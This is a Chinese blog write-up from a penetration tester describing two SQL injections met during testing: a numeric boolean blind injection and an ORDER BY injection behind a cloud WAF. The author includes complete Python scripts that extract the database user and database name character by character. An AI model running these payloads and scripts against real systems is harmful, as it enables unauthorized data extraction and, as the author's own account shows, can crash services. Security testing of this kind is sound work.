前言
最近在测试过程中遇到两个SQL注入,一个是数字型的盲注,一个是order by盲注+云盾绕过。
一、数字型盲注
凭借印象,搭了个环境,大概长这样,前面170会拼接到查询语句,后面不知道什么用,但是必须得有。
尝试了一下加单引号,没查出数据,再加注释符也没查出数据。
然后想到可能是数字型注入,所以又试了一下?id=170-1|数据
和?id=171-1|数据
,前一个没有查出 id 为 169 的数据,后一个查出 id 为 170 的数据
继续尝试 order by 和 union select,惨遭过滤
尝试?id=170-if(1,1,0)|数据
和?id=170-if(0,1,0)|数据
,前者查出 169 的数据,后者查出 170 的数据,妥妥的布尔盲注。
直接上脚本
# coding=utf-8
import requests
url = 'http://host/sql.php'
result = ""
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
for i in range(1, 100):
a = 33
b = 130
mid = (a + b) >> 1
while a < b:
data = "id=170-if(ascii(substr((select(user())),{},1))>{},1,0)|%E6%95%B0%E6%8D%AE".format(i, mid)
html = requests.post(url, data=data, headers=headers)
if b"169" in html.content:
a = mid + 1
else:
b = mid
mid = (a + b) >> 1
if chr(mid) == "!":
break
result += chr(mid)
print(result)
print("result:::" + result)
一个合格的测试要学会规避风险,查个用户或数据库名证明漏洞存在就可以提交收工了。
二、order by注入
也是一个接口,尝试在 rowNum 处加了一个单引号,结果直接导致报错,把整个 SQL 语句爆出来了,此时知道参数被放到了 order by 后面。
那不就直接开干,但是还没开始高兴,结果就遇到了这个。
但是不慌,头一天才学到的新姿势,直接一二两步,开始快乐注入
然后上百度找了篇文章 sql注入之order-by注入,方法千千万,我偏偏选了最蠢的一个——时间盲注,然后一套脚本打过去,直接给干崩了(我在本地也试了一下,不管延迟多少,都会直接卡死),给孩子吓的,还好是内网系统,影响面不大。赶紧联系开发解决咯。
因为之前报错,爆出了完整的SQL语句,当然也包括列名,所以可以使用order by if(bool, id, name)
,观察了一下,bool 为真和为假的结果确实不一样,所以可以直接布尔盲注。
上脚本
import requests
url = 'http://host/xxxx/xxx'
data = {'id': 'com.xxx.getUserList',
'page': '1',
'sortName': ''
}
result = ''
for i in range(1, 100):
a = 33
b = 130
mid = (a + b) >> 1
while a < b:
sql = 'if((select ascii(substr((select database()),{},1))>{}), id, code)'.format(i, mid)
data['sortName'] = sql
rsp = requests.post(url, data=data, files={'a': b''}, timeout=2) # 加 files 可以将 Content-Type 转化为 multipart/form-data;
if b"flag" in rsp.content:
a = mid + 1
else:
b = mid
mid = (a + b) >> 1
if chr(mid) == "!":
break
result += chr(mid)
print(result)
print("result:::"+result)